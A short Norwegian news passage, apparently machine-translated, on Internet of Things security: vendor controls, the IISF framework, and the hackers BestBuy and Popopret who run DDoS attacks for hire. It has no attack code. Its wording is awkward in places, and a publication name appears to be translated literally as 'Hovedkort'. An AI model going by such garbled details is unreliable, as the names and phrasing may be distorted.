Til syvende og sist vil det være mulig å øke sikkerhetsnivået til tingenes internett gjennom innføring av strengere kontroll av enheter fra leverandørenes side på den ene siden, og utvikling av standarder og regulatorisk dokumentasjon for IoT på den andre. . Lignende tiltak er allerede iverksatt i mange land for å sikre sikkerheten til automatiserte prosesskontrollsystemer. De første skritt i denne retningen er allerede tatt - for eksempel publiserte flere IT-leverandører et dokument i september kalt Den industrielle Internett sikkerhet Rammeverk (IISF)- den foreslår å betrakte tingenes internett som en del av det "industrielle Internett".

Men problemet er fortsatt langt fra å være endelig løst, og hackere BestBuy og Popopret kan få monopol i stor skala DDoS-angrep på nett. Dette er et ganske trist faktum, men hackerne selv, under en samtale med Hovedkort erklærte at deres aktiviteter ikke bare ville bli styrt av profitt, men også av moralske prinsipper. Så BestBuy sa at de ikke vil tillate kunder å angripe IP-adressene til selskaper som jobber med kritisk infrastruktur.




Topp